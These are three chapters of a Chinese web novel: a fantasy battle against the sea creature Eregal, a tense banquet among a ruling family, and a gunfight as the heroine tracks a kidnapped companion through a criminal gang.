她抬起头,对着那个身影,礼貌地打了个招呼——
“好久不见,伊南娜。”
31.第一个孩子,她说
将最后一捆干草铺好,祝吟辰抬起头,觉着洞穴已经布置得差不多了。
是时候喊安提进来睡觉了。
走出洞穴,远远望见云海之上,深红浓重夜幕下,安提和伊南娜正在你来我往地相互切磋。
说是切磋,更像是安提想尽办法打过去,伊南娜防住各个招式。
祝吟辰找了块光秃秃岩石坐下,静静地看着二虫打闹。
距离她和安提被伊南娜带到这里,已经过去了三个夜潮,虽然暂时还摸不清伊南娜这么做的动机,她和安提还是接受了她的好意。
不知道伊南娜怎么在冥土边境找到怎么个洞穴的,这片区域似乎接近空居那边,洞穴后方几百米处是覆雪的林区,前方几百米处则是冥土——弥漫翻涌的云海。
这里的气候还算宜人,地面是细腻的大片沙滩,周边布落着大大小小的黑色岩石。
就这样坐了一段时间,感到屁股渐有些尴尬的麻木,祝吟辰一瘸一拐地站起身,带着一丝怒气朝远方大喊:“睡觉啦!”
看到二虫彼此对视一眼,安提首先收起架势,慢吞吞地往这边走来,祝吟辰才走回洞中。
不一会儿,安提走进来,伸了个懒腰,舒舒服服地躺下,闭上眼睛。
祝吟辰张望洞口,问道:“她走了吗?”
“还在冥土边上。”
“好吧。”
祝吟辰躺下了。
时间一分一秒过去,听到耳边传来安提浅浅的呼吸声,她蹑手蹑脚地坐起身,悄无声息地摸黑出了洞口。
天际升起一线渺茫的白光,将天上天下暗沉的赤红和一片苍茫的云海浅浅割开,混出些肮脏的血的颜色,像是临死之人浑浊的瞳仁。
伊南娜就站在这瞳仁间,沉默地望向远方。
祝吟辰朝她走过去。
似乎是听见动静,伊南娜微微偏了一下头,但并不转过身。
祝吟辰坐到旁边的黑色礁石上,说道:“从被你威胁,不得不逃往空居开始,一直到现在,我们一直在被你牵着鼻子走,至今不清楚你的目的。”
伊南娜一动不动,仍望着远方,“你和安提一样直白,但并不令我十分喜爱。”
突然,她转过头来,叹了一口气,“你简直冷漠得让我头疼。”
祝吟辰不吃这套,说道:“我不会反思的,省省吧。”
伊南娜笑了。
“小小的阿努呵,你至今所有的问题只有一个答案。”
伊南娜转过身,也坐到礁石上,舒舒服服地躺下,“那就是你是如此的无能,如此的无知。”
“或许我现在确实没有向你讨要答案的能力,但是我说过,我会去调查。”
祝吟辰紧紧盯着伊南娜的眼睛,说道:“与那个名字——纳姆有关,对吧?”
脱口而出这个名字的那一刻,祝吟辰眼前瞬间陷入一片黑暗,突如其来的耳鸣开始猛烈地冲击头脑,皮肉也开始痛苦地抽搐,身上淌下阵阵冷汗。
好在还有纯露自愈的能力,她忍着不适,一边治愈自己,一边强作镇定,继续开口道:“还有冥土和埃勒伽,你不可能第一时间就知道我们逃出菌群后就打算来这里,直到尼努尔塔告诉你我们刚好在雪原,你才会命令尼努尔塔,把我们带到冥土来,又在这里等待我们。”
“总之,不管我和安提有没有打算去冥土,你都会让尼努尔塔带我们到冥土,这不是乐于助……虫,而是早有预谋,顺水推舟。”
系统开始恢复正常,眼前逐渐恢复清明,看见伊南娜嘴角慢慢失去笑意,祝吟辰知道自己猜对了。
乘胜追击,她紧接着问道:“我说对了吗?”
伊南娜沉默了。
见对方不语,祝吟辰正要追问,却见伊南娜突然站起身,她心中顿时悬了起来。
“如果你选择动手威胁,我——”
还没等她说完,耳边却传来伊南娜的低语:“去睡吧,伊塔,下一轮夜潮升起之前,我们要准备做点正事。”
目送伊南娜离去的背影,祝吟辰缓缓站起身,向洞穴走去。
也许不急,时间还长,伊南娜的目的早晚会暴露。
至少自己已经找到了一些蛛丝马迹。
就如伊南娜说的,先准备迎接明天的正事吧。
……
一声巨大的轰鸣将睡梦惊醒,祝吟辰惊恐地睁开眼,刚好与同样被吓到的安提对视。
“发生了什么?”
“不知道!”
二虫急忙坐起来,察觉身体冰凉,周身湿漉漉的一片,她们转头看去,借着洞口晦暗的光线,才看见洞穴岩壁上滴落水滴,地面的水迹一直流到身下。
冷水使得身体忍不住一阵阵发抖,祝吟辰拉着安提站起来,二虫赶紧跑出洞穴,一阵大风刮过,她们被吹得踉跄了几步,艰难地扶住洞口岩壁,在看到惊天动地的一幕——
天边乌云密布,电闪雷鸣,狂风暴雨将整个世界碾压,咆哮着将礁石化做齑粉。
冥土之中,滔天的冰浪与云雾翻搅涌起,被一股无名的巨力高高抛洒到千丈高的天空,天空降下无数的冰雨,纷纷落下激起无数巨大的浪花,深渊之下隐隐约约传来阵阵沉闷愤怒的低吼,宛若末日的终结审判。
强风狂啸,一阵阵冰雨打在脸上,祝吟辰眯起眼睛,双手死死艰攀着岩壁,艰难地向冥土中搜寻了许久,才看到那风暴肆虐之中闪烁着一粒耀眼的金色光芒,一个发光的身影悬浮在空中。
伊南娜仰着下巴,傲慢地俯瞰着眼前的一切,头上的独角高高挑起,毫不畏惧埃勒伽这暴戾的疯狂。
所有暴雨和风浪皆被她周身的热浪汽化,无法伤她分毫,她张开双臂,红发如燎原的火焰般熊熊燃烧,她豪迈地大笑着,朝那风暴中心远远地呐喊:“埃勒伽,再广阔的天地,也无法容纳你那狭隘卑劣的心,带着你无尽的憎恨死在这里吧,以纳姆的名义,以第五个孩子的血肉起誓,我将亲手将你埋葬!”
仿佛穿越时空尽头无边无际的黑暗,深渊之下传来一声饱含恨意的嘶吼,突然,连天翻涌的冰山被一股巨力撞开,一道山峰般的背鳍高举过天空,狠狠撞向风暴中的那一点金芒!
伊南娜嘲讽一笑,身形不动,只伸出一根手指,指尖溢出的能量化作一道屏障,轻轻抵住来犯的背鳍。
祝吟辰眼看着那小小的身影悬浮在空中,与冥土中巨大的背鳍相僵持着,双方势均力敌,久久不动,只有肆虐的风暴还在咆哮。
她转过头,看见安提两眼放光,兴奋地望着远方,似乎是想加入这场战斗。
绝对不行!
祝吟辰腾出一只手,死死拉住安提,严肃地劝诫道:“冷静一点,别去。”
“我只是想——”
“别想。”
祝吟辰转身抱住安提,硬是一步步将她拉扯回洞穴中。
外面的积水一阵阵地涌入,地上铺垫的干草也一次次地浸湿。
看着这一片狼藉,祝吟辰与安提大眼瞪小眼,后者似乎还想要说些什么,又被祝吟辰打断道:“你不准去想外面的事,安心把这里弄干净再说。”
“你怎能这样对待你的母亲?”
“也是,”祝吟辰弯腰捞起一把湿漉漉的草,“那我陪你一起。”
“……”
外面的斗争还在继续,时不时有电闪雷鸣传进耳朵,或轰隆隆的风暴声响起。
巨大的雷鸣震得耳朵一阵阵地疼,祝吟辰抹了一把脸,浪花夹杂着冰雹扑上岸来,打进洞中,实在清理不完,即使干草都抱出去了,地面还是积起了一潭泥水。
“哗啦——”
又一阵浪花扑来,打湿了全身,祝吟辰无奈地叹了一口气,看向洞口坐着的安提。
安提还在直勾勾地朝那边望着,脸上是压抑不住的激动难耐。
祝吟辰默默低下头,或许她不该拦她。
但就基本的理智而言,上去了就是送死吧……
总之,这是个正确的决定。
突然,天空传来一声遥远的呐喊,一直传到洞中——
“我骄傲的安提哟,为何躲藏在小小的洞穴中,迟迟不敢现身?”
安提瞳孔猛地放大,她一下子站起身,身板不自觉地挺直,指尖因为极度兴奋而微微战栗。
那声音好像鼓励似的,紧接着说道:“来吧,让我为你高歌赞颂!”
祝吟辰心中暗道不好,却没拦住,安提如一星箭矢般猛地窜出了洞穴!
该死的伊南娜是想让她送死吗?!
祝吟辰恨恨地一咬牙,赶紧追了上去,看见安提已经跑到了远处的沙滩上,正在以前所未有的速度奔向那骇人的滔天浪涛!
一股急切的焦灼涌上心头,来不及多想,她赶紧冲上去,追在
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安提身后。
“安提!”
暴雨噼里啪啦地打在身上,寒冷很快将身体冻僵,止不住地发抖,无数风暴裹挟着冰雹一阵阵抽上来,细小的伤口裂开流血,身体传来密密麻麻的疼痛。
踏入狂风暴雨之中,祝吟辰站在波澜起伏的冰海之上,视野中逐渐失去了安提的身影,一阵风浪打来,将她掀翻,身体坠入冥土之中,极度的深寒侵入每一寸血肉,她挣扎着攀住一块冰,拼命爬上来。
呼吸的每一口空气都浸着自无底深渊中搅起的恨意,将心脏沉甸甸地压下去,仿佛埃勒伽沉重的叹息,一下一下坠在心尖上。
好冷……
天空响起一声雷鸣,祝吟辰抬起头,看见安提正在以惊人的身手躲避着飞来的障碍物,飞快地踏上飞来的重重冰块,一步一步,很快就冲入了风暴之中。
风暴的中心,伊南娜正在与那背鳍搅起的风浪搏斗,火焰和鸣雷激起无数浪花,将重重风暴撕裂、击碎。
无论伊南娜想做什么,自己至少得保证安提的生命安全。
祝吟辰深吸一口气,冲上去跟上安提的身影。
“就这点能耐吗?”
伊南娜嗤笑一声,身上金纹显现,一瞬间,沙滩上、冥土中连同天空之上,无数的沙砾腾空而起,飞舞盘旋,而后聚集为巨大的沙尘暴,海水与风暴碰撞、搅动,世界顿时陷入一片混沌的昏暗。
随着伊南娜口中默诵几句,粗粝的沙砾聚合做一柄锋利巨大的刀刃,凌空狠狠向那背鳍砍去!
血液喷溅而出,冥土中发出一声低沉的怒号,背鳍慢慢沉入冥土深渊之中。
局势似乎平静了一瞬,伊南娜警惕地看着那风暴中心,以为是埃勒伽吃痛逃跑,却不料背后猛地打来一片翻天大浪,直扑向她的背后!
察觉突如其来的、巨大的阴翳遮蔽了整个身体,伊南娜瞳孔一紧,正要开出屏障,却已经来不及——
刹那间,无数条黑影自风浪翻搅中窜出,彼此交织作一道紧密的藤网,及时挡在伊南娜的背后!
巨浪扑上来的一瞬间,藤网突然分解作数不清的藤条,猛地反向鞭出,消解去这巨大的气势和力量,将巨浪勒作无数碎星,自高空纷纷落下,激起大片水花。
嗯?
伊南娜转过身,饶有兴致地看向前方。
无数藤条慢慢落下,聚集在一个身影脚边,将她轻轻托起,送到与伊南娜齐平的地方。
看清来者的一瞬间,伊南娜骄傲地笑了,她张开双臂,做出迎接的姿态,热情地呼喊到:“安提!”
并不凭靠伊南娜的力量,安提站在藤条盘旋聚集之上,目光如炬,神色中是难掩的张扬,全身透出一种疯狂的、桀骜的欲望。
似乎冥冥之中觉察到她的意志,藤条自觉在她脚下张开坚韧的平面,她大步向伊南娜走去,给了对方一个坚实有力的拥抱。
一路走来,她已经知道,仅仅凭借自己和祝吟辰的力量,显然难以对付整个虫群。
她需要可靠的合作伙伴。
无论伊南娜打的是什么主意,她都欣然接受对方的帮助,她相信祝吟辰的智慧会帮助自己牵制住对方,而自己,目前有比对抗伊南娜更重要的事情。
那就是眼前的埃勒伽。
不同于第一次到达冥土时的经历,在重新见到这远古巨物的那一刻起,她深深地感到胸中有什么东西产生了变化,以往的恐惧和绝望荡然无存。
现在她凝视着那再一次浮出的背鳍,看到那云雾弥漫与狂风暴雨中若隐若现的,坚硬古老的鳞片,闪耀着来自深渊的奇异光泽,仿若星辰陨落的遗物,每一片都闪闪发光,又带着不寒而栗的黑暗气息。
然而那对她成了一种难以言说的诱惑,渐渐的,一种妄想浮上心头,越发坚定。
她松开伊南娜的手,紧盯着深渊搅起的汹涌澎拜之中,风暴之下,那片背鳍再次缓缓升起。
一声震耳欲聋的咆哮直冲天际,就连伊南娜也忍不住难受地皱了皱眉头。
“埃勒伽,在这里,我要赞颂你。”
安提上前一步,她的眼中仿佛有无数星辰流转、燃烧,将整个宇宙烫做一瞬明亮的光芒。
“我要让你做我的第一座王都。”
“我要你做我的国度。”
“我要让你自海面上高高升起,做我的最光荣的,第一个祭品。”
32.绝意既定,战鼓再起
风暴施虐,波涛汹涌,天地一片压抑。
深渊底下传来一声狂躁的怒吼,远远回荡在整个冥土,天边雷鸣滚滚,似乎是在回应主人的愤怒,更加疯狂地劈落在彼岸的两端。
那道背鳍再一次沉入海啸漩涡中,搅起更大的风暴,狂风暴雨中 ,一道道锋利的水刃旋转着向安提扔来!
安提灵巧地踩在海中搅起涨落的植被中,身手矫健地一一避过,眼睛紧盯着漩涡中心若隐若现的、山峰般高大的坚硬背鳍,想为此行留下点纪念品——埃勒伽的鳞片。
看准时机,她踏上刀锋般飞过来的冰片,以惊人的速度冲进海啸漩涡之中,向那片背鳍冲去!
这样的勇气和野心,即使是伊南娜也感到心惊,她三两下打掉飞来的水刃,急忙向安提的方向飞去。
“安提,不要焦急!”
然而为时已晚,在安提眼疾手快地抓住一片鳞片,果断将它割下的一刹那,天地突然静止了一瞬,风暴一动不动,弥漫的水雾陷入沉默,飞溅的浪花也悬浮静止在空中——
四周空气冰冷,安提额上却滑落一滴冷汗,她那天生灵敏的第六感告诉她,有什么异常要发生了。
突然间,深渊之下传来一股庞大的力量,脚底下的海啸漩涡迅速凝结成冰,一路蔓延上背鳍、鳞片——和她的手臂。
安提心中暗道不好,正要拼命挣脱,然而四周的一切,连同海水中涨落的植被都被迅速冻结,以海啸漩涡为中心,这里变成了一个静止的坟墓。
四周的风暴开始向这边聚集,似乎要将安提淹没,埋葬。
如果安提被侵入淹没的海水冻结,后果将不堪设想!
危急时刻,伊南娜冲到风暴中心,全身猛烈地燃烧起来,挥舞肘镰,大力横扫,斩出阵阵滚烫的热浪,将海水和水雾尽数汽化散去。
无数滚烫的白烟弥漫,砂砾盘旋在风暴之间,将其碎做数万万碎星,跌落海上,溅起无数晶莹剔透的水花。
局势似乎逐渐好转,听见身后传来一声不详的动静,伊南娜不安地皱起眉头,回过头,看见安提周身弥漫的水雾开始冰结,安提死死地掐住嗓子,脸上露出痛苦的表情,似乎是在极力阻止自己吸入冰雾。
那可笑愚蠢的埃勒伽竟有如此的手段!
伊南娜正要去救,却脱不开身,凭着蛮力扫开一阵阵阻挡的海浪,眼看着冰雾即将固结,一个身影却突然出现,猛地窜入那海浪漩涡之中!
刹那间,凝结的海浪爆裂开,无数的藤蔓窜出,疯狂生长,将安提周身的冰雾尽数扎穿、碎裂,流动的空气涌入,安提身体猛地一软,瘫坐在海浪旋涡凝结的冰面上,大口大口地呼吸着,手却还陷在冰块中,死死抓着那片鳞片不放。
“你们在天上打了半天,就为了这个?!”
祝吟辰差点气笑,她在下面被二虫打斗搅起的风暴搞得狼狈不堪,在海水和浮冰间起起落落,好不容易才踩着冻结的海浪爬上岸,赶到这边,就看到这一幕。
将手覆上背鳍,纯露迅速侵入,安提手握的鳞片长大,将周身的凝冰崩裂开,终于重获自由,祝吟辰将安提一把抗在肩上,迅速冲出海啸漩涡。
“伊南娜!”
听到呼喊,伊南娜赶紧冲下来,将祝吟辰连同扛着的安提带走,向林区的方向飞去,身后远远传来冥土深渊之下,埃勒伽愤怒的咆哮。
落到地面,祝吟辰望向冥土的方向,那边的风暴渐渐沉寂了,疯狂的暴乱后,一切都开始重新恢复平静。
将安提轻轻放在雪地上,她看向伊南娜,语气中是掩饰不住的责备,“你千方百计叫我们来这里,就是为了帮你打埃勒伽?”
“不,小伊塔。”伊南娜微笑着说道:“是你们,想要我帮助你们打埃勒伽。”
“什么——”
“是的,伊塔。”似乎是休息够了,安提突然站起身,一双眼睛炯炯有神地看向祝吟辰,气力十足地宣布道:“伊南娜已经归顺我们了!”
“是合作。”伊南娜微笑着纠正。
“……”
祝吟辰站在原地,看着安提和伊南娜开始争论双方真正的关系,心中思绪万千。
安提说得没错,想要征服冥土,杀死埃勒伽,她们需要强大的盟友,即使不知道对方真正的意图,但形势所迫,她们现在急需强大的助力。
安提素来不喜欢伊南娜,而她之所以会做出这样的决定,一方面是因为她那强大的野心所至,另一方面,是她相信自己,可以帮助她牵制住伊南娜背后的阴谋。
总而言之,对于自己来说,这是两场战役,不仅仅要拼尽全力去对抗埃勒伽,还要暗中调查伊南娜真正的目的。
自己的使命成功与否,对于她们能否能够在未来得到真正的胜利,并牢牢将它掌握在手中,至关重要。
祝吟辰握紧双拳,暗下决心,她绝不辜负这份期望,与安提一起拿下冥土,她势在必得。
她有预感,伊南娜的野心绝不仅仅像看上去的那样,只是一个埃勒伽。
“总之,我们决定合作。”伊南娜强硬地捂住安提的嘴,结束了这场争论,她转头看向祝吟辰,说道:“好了,小伊塔,说出你的主意吧,我们现在该怎么办?”
“啊?”祝吟辰正沉浸在心事中,被这么一点,茫然地抬头。
“你不是很喜欢思考吗?呵呵。”伊南娜笑了笑,“如你所见,洞穴已经被那可恶的埃勒伽摧毁,我们现在该去哪里?”
祝吟辰定了定心神,环视身边的树林,心中涌上一阵久违的熟悉感。
她转过身,说道:“跟我来。”
穿过白雪皑皑的林间小路,沿着清冽的溪流一路向上,一片系数的树林出现在她们眼前,将遮蔽的树枝拂开,是安提和祝吟辰熟悉的洞穴。
“聪慧的伊塔,我的珍宝。”安提高兴地抱住祝吟辰,祝吟辰也笑了,说道:“你明明也记得这里。”
这是她们第一次逃出冥土时,在其边境处的居留地,只不过当时她们没在这里住多久,就急忙赶去空居了。
伊南娜在附近走了走,观察了一下四周,有些调侃地感叹道:“自力更生,自强不息啊。”
听到这话,安提猛地转过头,严肃地看着伊南娜,斩钉截铁地说道:“我们以后一定会搬到更好的地方!”
“是吗?”伊南娜挑了挑眉,唇边浮现一抹笑意,“太难的话,可以求我。”
“你等着吧!”
看着安提和伊南娜再次争论起来,祝吟辰有些无奈地走进洞穴,默默地收拾物资,打扫卫生。
今后的时间,她们将要住在这里,做好变强的准备,争取在这个寒潮退去之前,打败埃勒伽。
……
无人区,北海特遣部队驻区。
夜已深了,月寒如水,洒落窗棂几缕,微凉的夜风拂过,带过几分静谧的柔和。
觉得有些冷了,屠一鸿关上窗,沉默地坐在椅上,似乎在思考些什么。
门外的动静逐渐热闹起来,时间不早了。
她站起身,本能地拿了一件大衣,想了想,又放了回去,就这样穿着轻薄的纱衣出了门。
今夜出奇地热闹,驻地家属们知道萧衍首领回来,特地开了场欢迎晚会,几乎全北海有头有脸的人物都来凑热闹,不少富豪胄还专门从A1区赶来,就为了拍萧衍的马屁。
毕竟现在萧家大哥当选AGPC十二主席,萧家三少爷又在这个节骨眼儿回到无人区,萧家想要两头皆吃,是明眼人都能看出来的事。
如果真的能做到霸权十二主席和无人区特
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遣部队,这联合城邦的头头说不定是姓杨还是姓……
总之,未来会发生什么,谁知道呢?
穿过层层走廊,屠一鸿赶往舞厅,一路上的人看见了她,都急急忙忙地凑上前,向她打招呼,她礼貌地一一回应,如她的给人的第一印象一样纤弱、清纯。
赶到舞厅,仆人恭恭敬敬地将她迎进门,在轻柔抒情的音乐声中,屠一鸿接过女侍送上的酒,看见舞池对面,萧衍坐在一群花枝招展的女人中间,左右各揽着一个,正喝的酩酊大醉。
周围的人察觉她的视线,都互相看了一眼,都各有心思,等着这位萧家未来的女主人会做出什么反应。
屠一鸿垂下眼睫,礼貌地放下酒杯,转身离开,留下身后人们低低的议论声。
不知道要去哪里,也不太好直接回到寝房,容易让人以为显得她真的敢生萧衍的气了似的。
她微微低着头,在人群间游荡者,四处乱走了一阵。
突然间,身前传来一声低沉温柔的男声,“你怎么在这里?”
肩上披上一件外套,她抬起头,是萧衍的二哥,萧琛。
他带着一副金丝眼镜,衣着得体考究,看起来温文尔雅,屠一鸿记起来他好像正在A1区大学生做教授来着,想了想,轻声称呼道:“晚上好,萧教授。”
萧琛闻言差点失笑,他摘下眼镜擦了擦,笑道:“怎么像个学生一样,不用这么拘谨。”
“好的,二哥。”
萧琛仔仔细细地看着她,想了想,说道,“你还是叫我萧教授吧。”
“屠小姐,去醒醒酒吗?”
轻柔的音乐换了一轮更欢快的,人群舞动交错间,他挽起她的手,带着她穿过喧闹的人群,二人沉默着,向二楼阳台走去。
路过的佣人看到这一幕,都互相惊讶地看了看彼此,然后恭恭敬敬地打招呼。
二人登上阳台,这里静悄悄的,视野开阔,夜色如水,风中传来一阵迷离馥郁的花香,月色轻泛起一片银纱似的涟漪,眼前的景象让萧琛吃了一惊,“这里怎么这么多花?”
“我种的。”屠一鸿突然开口,萧琛惊讶地看向她,对上对方的视线,她轻轻点了点头。
“没想到你还有这样的本领。”萧琛摸了摸她的头,认真地说道:“如果有想法的话,改日我托人让你来大学城读书,我正好认识几个著名的植物学教授。”
“谢谢你,有机会我一定——”
“在干什么?”萧衍的声音突然自二人身后传来。
屠一鸿转过身,看见萧衍脸上醉得红红的,衬衫和衣领乱得不像话,那双迷离的眼睛里透出愤怒。
萧衍走上前,萧琛默不作声地将屠一鸿护在身后,看见此状,萧衍心头更怒,他冲过去,想将屠一鸿抓住夺回,却被萧琛一声呵斥拦住,两兄弟互相瞪着,都不相让。
听见动静,侍从们纷纷拿上家伙围上二楼,看见眼前这一幕,都傻了眼,不知道该护谁,楼下宾客们看见方才萧衍突然跑了出去,都开始议论纷纷。
似是忍无可忍,萧衍一拳呼上萧琛面上,却没打中,醉得厉害,萧琛不甘示弱,正要回击,手心却被轻轻握住。
他惊讶地回头,看见屠一鸿按下他的手,神色平静,轻轻摇了摇头。
她脱下身上的外套,还给一时愣住的萧琛,走到萧衍面前,将他托在身上,一步步向外走去,佣人们见着此幕,赶紧上前帮忙。
热闹见好就收,人群纷纷散去,萧琛看着手中的外套,眼底透出几分复杂的情绪。
散去佣人,将萧衍轻轻放到床上,屠一鸿听见他口中喃喃自语着些什么,也没有去听,自己搬了张板凳坐到窗边,又打开了窗户,吹着夜风,继续思考盘算的事。
她等着祝吟辰的消息。
33.北海危影,牵动三线
“小林,是我,祝吟辰。”
在阳台远远望见护送自己回家的执行人员离开,祝吟辰拉上窗帘,拨通了过往下属的电话,“不好意思,我还有个事情想拜托你。”
“您说,我一定竭尽所能!”
“你知道,我与难民驻地三号遗址的联络权被终止了。”
想起往事,祝吟辰微微皱起眉头,“但是我现在需要在那边找一个人,名字叫屠启,出现时间……可能在半年前左右。”
“收到,等我好消息!”
“谢谢,辛苦你了。”
“没事,您以前照顾过我那么多次,现在让我有报答恩师的机会,我高兴还来不及呢!”
想起与下属并肩作战的时光,祝吟辰脸上不自觉浮现一丝笑容,心里也暖融融的,这七天以来因为屠一鸿的事而引起的焦灼也减轻了些。
忍不住与林筑又多聊了一会儿,直到闹钟提醒响起,祝吟辰带着一丝遗憾挂掉了电话。回溯后的个人时间本就不多,现在,该去小公寓和奕川她们交换情报了。
她随手带上一件大衣,走下二楼,打算先喝口水再出门。
水龙头出水的间隙,突兀的,耳朵敏锐地捕捉到异常——门外传来极其轻微的敲门声,只小心翼翼地响了几下,而后平静下去。
她不动声色,一边把倒下的一整杯水一口气喝完,一边轻轻掏出腰间的枪。
放下杯子,杯底与茶几碰撞出声的那一秒,保险应声拉动。
蓄势待发。
一步、一步,保持沉着,她走到门前,神色如常,右手按动识别屏,甜美冰冷的女声响起,“滴——祝您一路顺风。”
门外顿时响起慌乱的脚步声,祝吟辰立即判断出对方的平民身份,然而不可轻敌,她果断打开房门,枪口对准前方落荒而逃的身影,厉声喝道:“站住,不许动!”
看清来者那副熟悉的样貌,她大吃一惊,“怎么是你?”
“还……搞成这幅模样?”
来者慢慢转过身,果然是凌风,但不知发生了什么,他看起来像是被好几个人围起来打了一顿似的,原本看起来干净阳光的人现在狼狈极了,衣服灰扑扑的,上面破了几个大洞,露出几处青紫的淤痕,脸上也挂了彩,鼻梁上敷着纱布,一只眼睛还肿着,带着些犹豫和不安看向她。
见凌风支支吾吾不肯说的样子,祝吟辰收起枪,往屋里让了几步,“进来说吧。”
倒了杯水给凌风,她坐到凌风对面,仔仔细细地观察着对方的神情。
很显然,这年轻人惹了什么麻烦,现在因为某种原因要来找自己帮忙。
但是看他这幅犹豫不决的样子,恐怕,这麻烦多半与自己的切身利益相关,因此才再三缄口。
而且,这麻烦恐怕只有自己能解决,否则他绝不轻易找自己。
什么麻烦,会让凌风惹上有关自己的事情?还让他竟敢越过红派的交涉流程,私下来找自己?
察觉到事情异常,祝吟辰心中一沉,一个名字悄然浮现——
“阿图特出了什么事?”
凌风惊颚地抬起头,对上祝吟辰复杂中带点冰冷的眼神 ,知道事情败露,又慢慢低下头,声音不自觉地有几分颤抖。
“她……我想送她去北海,黑环找的人把她藏起来了,现在要我出十倍订金的赎金。”
“我刚刚从医院出来,实在找不到可以解决这件事的人,爸妈前阵子离了婚,我身上也没有更多的钱了,只能想到你了……”
突然,他猛地扇了自己一巴掌,跪倒在祝吟辰面前,哽咽着哀求道“对不起,祝少校,都怪我出的馊主意,全都是我一个人的错,这件事红派里的人全都不知道,整件事完全是我一个人的责任,请你不要责怪他们,要怪就全都怪我头上吧!我求求你,帮帮我吧,只要能把阿图特救出来,我以后什么都会做的,我会去找奕长官接受处罚!”
看着凌风痛哭流涕的样子,祝吟辰心慢慢跌落谷底,与其担心阿图特,她实际上更担忧这场绑票可能造成的,更严重的后果。
阿努那种天真的、本能的杀意,她比任何人都清楚。
她默默叹了口气,不管是什么原因让她们突然想去北海,事情已经发生了,现在最重要的,在更糟糕的事情发生之前,将其迅速利落地解决。
抬起手腕,离闹钟提醒的回溯时间还有三个小时。
凌风还在哭着,却发现跟前的人慢慢站起身,他抬起头,看见枪支擦亮,配回腰间,锃亮漆黑的手套扣紧,那双深沉锐利的眼睛,平静地注视着自己。
“他们的据点在哪里?”
……
耳机调的再大声也挡不住外面的人吵吵嚷嚷的声音,女孩不耐烦地摘下耳机,瞥一眼墙上钟表,值班时间也快到了,索性想着先行离开,反正外面那群肥头大耳的油腻大叔奈何不了自己。
一把抓起背包扔到背上,耳机里切一首劲爆的电吉他,音量加倍再加倍,哼着听不懂的小曲调调,拽着步子穿过台球厅,却见门口守卫的人突然停止了聊天,抽出枪支抵着大门,一副严阵以待的样子。
发生了什么?
女孩疑惑地停下脚步,回头一看,台球厅里的人也都停下了动作,一张张脸铁青着,直勾勾地盯着门口,伴着耳机里激情动感的曲调,看起来格外渗人。
她摘下耳机,猝不及防的,耳畔擦过一声枪响。
“这里是谁负责?”
打晕门口的守卫,祝吟辰扣上弹夹,走进屋内,环视在场虎视眈眈的众人一圈,确认了正如凌风所说,加上外面的,一共有十一个人。
去掉外面晕过去的两个打手,和角落里那个老老实实趴在地上的彩虹寸头女孩,要处理的还剩下八个。
但不排除凌风离开后,对方是否安排了更多的人手在附近,而她,没有太多时间跟对方拉扯,留给她的时间只有两个小时二十六分钟。
所以,非常时期,非常手段。
于是只一秒,她刹时锁定对象,果断扣动扳机,厅里骤然爆开一声枪响,巨大的动静回荡在厅中,还活着的人都慌忙躲到掩体后。
女孩僵硬地趴在地上,鼻尖隐隐约约传来一丝硝烟的味道,她小心翼翼地偏过头,看见离她不远的角落里,一个男人应声倒地,结束了他罪恶的一生。
她默默地转回头,头上传来那个女人冰冷的声音,“再问一遍,这里是谁负责?”
似乎是没想到这幢生意居然会牵扯到这么大的来头,一个膀大腰圆的男人冷哼一声,众人纷纷抄起家伙,狞笑着一拥而上——祝吟辰的死亡悬赏令还挂在黑市上头!
祝吟辰不再留最后的情面,她略一抬手,眼疾手快地结果最近的一个人,闪身躲过划过来的匕首,抬手又是一枪,不管打没打中,趁乱果断就地一滚,躲到门后,下一秒,噼里啪啦的子弹打到她刚才站立的地方,弹痕与烟雾交错,巨大的动静响彻了整个台球厅。
她守在门后,众人守在厅内,两方都不敢大意,为首的男人枪口瞄准门缝,略一偏头,无声地使了个眼色,三个小弟小心翼翼地向门口逼近。
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“砰——!”
众人心中一惊,慌忙向门口扫射,门口的小弟惊魂未定,见眼前尽是硝烟弥漫,才知大错,来不及回头打信号,门缝里射来几发子弹,准心干净利落,都一头栽倒下去。
为首的男人见周围的兄弟们都一个个咽了气,急忙扑倒在地,大喊道:“我说!我什么都说!我家里还有六十岁的老母和一个两岁的孩子……”
祝吟辰看了一眼时间,还有两个小时。
她推开门,环视一圈,确定视野范围内只剩下两个人了,缓缓走向那个男人,问道:“你们昨天做了一笔去北海的买卖,一个叫凌风的学生送了一个……人过来,还记得吗?”
“记得,记得!我们好端端地把那个雌虫送到北海去,她却杀了我们几个兄弟,在半路就逃走了!”
听到这话,祝吟辰瞳孔猛地张大,顿起杀心,男人看着面前女人的眼神骤然一变,意识到自己说错了话,急忙跪倒在地,连连磕头,哭得一把鼻涕一把泪,“不是,是女人,是女人啊!求求您放过我,我家里还有七十岁的老母和两个一岁的孩子……”
旁边突兀地传来一声嗤笑,祝吟辰阴恻恻地抬头看去,那个幸存的彩虹寸头女孩憋着笑问道:“你老母到底多少岁?”
“是岳母,是岳母啊!”
顾不得眼前男人的哭喊连连,祝吟辰看着女孩问道:“他说的是真是假?”
女孩吓了一跳,默默地低下头,眼底飘忽不定。
祝吟辰缓缓开口:“你们两个只能活一个。”
女孩立即开口:“凌风走后他们就把她拉到黑环,准备摘指纹查人家身份,结果被人家把老巢给掀了,整个黑环都知道他们搞到了雌虫,老板花了大手笔,今天早上就派人把她运去北海藏着了,现在那边的消息还没传来,不知道运到没有。”
“没有,没有啊!我什么都不知道,只负责这个小厅子,别的什么都不知道啊少校!”
不管男人的死皮赖脸,祝吟辰皱起眉头,接着问道:“为什么要藏起来?”
“老板原本打算趁热打铁,就地在黑市高价拍卖来着,后面不知道怎么回事,又临时反悔,把她送到北海去,好像要送给AGPC的什么人做实验来着,送给谁我就不知道了。”
女孩一口气说完,喘着气把手一摊,颤声道:“就这些了,真的没别的了,该说的我都说了,所以,那个……我应该可以活了吧?”
祝吟辰缓缓点头,男人哭得更大声了。
现在事情的麻烦程度,已经远远超过她可以控制的范围了。
北海是萧衍的地盘,且不说她对那里几乎一无所知,阿图特会不会乖乖被送到北海去,还是个未知数,如果真的半路就随机挑个地点逃了出去,再把知情的人一杀,说不定连让她拉下脸跟萧衍交涉的机会都没有。
更严重的是,阿图特的手上又多了几条人命,作为监管者,这也有她的一部分责任。
现在看来,她目前还不得不和这帮家伙合作,等北海那边阿图特的消息。
“站住,不许动!”
突然之间,一声厉喝从门口传来,祝吟辰的思绪被打断,立即本能地向来者瞄准枪口。
硝烟弥漫中,她隐约看见一个神色错愕的女人,惊诧地看着自己,单枪匹马地站在门口,显然没有料到这番场面。
